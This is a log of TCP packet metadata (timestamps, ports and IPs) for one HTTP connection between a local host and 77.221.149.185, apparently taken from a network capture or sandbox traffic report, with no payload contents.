Jul 2, 2024 22:52:27.889980078 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.890050888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.890062094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.890091896 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.890120983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.890131950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.890142918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.890155077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.890163898 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.890166044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.890188932 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.890201092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.890336037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.890486002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.890496969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.890506983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.890520096 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.890521049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.890531063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.890541077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.890546083 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.890551090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.890562057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.890566111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.890572071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.890582085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.890592098 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.890592098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.890602112 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.890633106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.891566038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.891725063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.891736031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.891758919 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.891791105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.891802073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.891812086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.891823053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.891840935 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.891866922 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.891921043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.891932011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.891961098 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.892003059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.892014980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.892025948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.892036915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.892046928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.892051935 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.892075062 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.892083883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.892534018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.892544985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.892554998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.892565012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.892573118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.892575979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.892585039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.892594099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.892601967 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.892625093 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.893033981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893045902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893055916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893066883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893076897 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.893079042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893090010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893099070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893099070 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.893126011 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.893141031 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.893179893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893197060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893207073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893217087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893228054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893239021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893239021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.893249989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893250942 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.893282890 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.893421888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893470049 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.893507957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893520117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893531084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893541098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893552065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893553972 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.893560886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893573046 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.893604040 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.893896103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893907070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893917084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893928051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893939018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893944025 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.893953085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.893963099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.893963099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.894006014 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.894555092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.894563913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.894573927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.894586086 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.894613981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.894686937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.894699097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.894711018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.894721985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.894732952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.894738913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.894778967 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.894804001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.894814968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.894825935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.894865990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.894932985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.894943953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.894990921 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.895138979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.898747921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.898787975 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.898922920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.898933887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.898943901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.898955107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.898964882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.898973942 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.898976088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.898996115 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.899024010 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.899034023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.899159908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.899168968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.899178982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.899183989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.899216890 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.899277925 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.899298906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.899310112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.899322033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.899333000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.899334908 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.899344921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.899354935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.899364948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.899365902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.899380922 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.899410009 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.899597883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.899755001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.899765968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.899790049 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.920542002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.920583963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.920593977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.920599937 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.920639038 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.920752048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.920778990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.920789957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.920800924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.920810938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.920815945 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.920840979 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.976443052 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.980206013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.980233908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.980245113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.980256081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.980268002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.980277061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.980278969 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.980283022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.980304956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.980320930 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.980521917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.980532885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.980542898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.980557919 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.980557919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.980570078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.980580091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.980587006 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.980590105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.980600119 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.980611086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.980621099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.980628014 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.980650902 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.980926037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.980937958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.980948925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.980961084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.980973005 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.980982065 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.981602907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.981645107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.981646061 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.981657028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.981693983 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.981822014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.981832981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.981849909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.981862068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.981868982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.981901884 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.981966019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.981976986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.982002974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.982013941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.982027054 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.982053995 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.982112885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.982125044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.982136965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.982146978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.982158899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.982176065 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.982207060 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.982372999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.982383966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.982395887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.982412100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.982413054 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.982424021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.982434988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.982435942 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.982462883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.982601881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.982644081 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.982733011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.982744932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.982784033 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.982863903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.982875109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.982891083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.982902050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.982913017 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.982913971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.982949972 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.983042002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.983055115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.983061075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.983067036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.983072042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.983083963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.983109951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.983144999 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.983359098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.983402014 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.983418941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.983429909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.983464956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.983490944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.983500957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.983514071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.983526945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.983536005 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.983560085 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.983690977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.983702898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.983714104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.983726025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.983736992 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.983737946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.983750105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.983757973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.983761072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.983789921 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.984915972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.984929085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.984946012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.984963894 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.984987020 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.985047102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.985079050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.985091925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.985102892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.985120058 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.985153913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.985280037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.985291958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.985302925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.985315084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.985342026 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.985373020 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.985465050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.985476971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.985487938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.985497952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.985511065 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.985542059 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.988928080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.988960981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.988972902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.989017010 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.989053965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.989064932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.989075899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.989088058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.989197969 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.989197969 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.989200115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.989240885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.989362001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.989373922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.989384890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.989396095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.989408016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.989411116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.989419937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.989435911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.989473104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.989489079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.989502907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.989520073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.989541054 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.989655018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.989665985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.989677906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.989690065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.989782095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.010031939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.010076046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.010088921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.010088921 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.010126114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.010297060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.010307074 CEST	80	49712	77.221.149.185	192.168.2.5
